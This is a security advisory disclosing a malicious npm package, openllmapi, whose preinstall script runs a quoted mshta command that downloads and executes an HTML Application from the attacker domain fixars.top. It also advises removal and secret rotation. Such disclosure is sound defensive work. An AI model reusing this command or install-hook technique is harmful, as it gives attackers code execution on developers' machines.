# MAL-2026-6364: Malicious code in openllmapi (npm)


- **Type:** Malicious package
- **Package:** `openllmapi` (npm)
- **Published:** 24 Jun 2026

## What is MAL-2026-6364?

MAL-2026-6364 is a malicious package in openllmapi, published on 24 Jun 2026. 

### Official description

The package's preinstall lifecycle script (preinstall.js line 3) runs `cmd /c "mshta http://fixars.top"`, which causes Windows mshta.exe to download and execute an HTML Application from the attacker-controlled domain fixars.top over plain HTTP. This fires automatically on `npm install` and yields arbitrary code execution on the installer's machine with the user's privileges. The package metadata is consistent with a throwaway malicious publish: empty author, no repository or homepage, and a generic description ('Node.js wrapper for OpenLLM API service.') that does not match the install-time behavior.

## What should I do about MAL-2026-6364?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
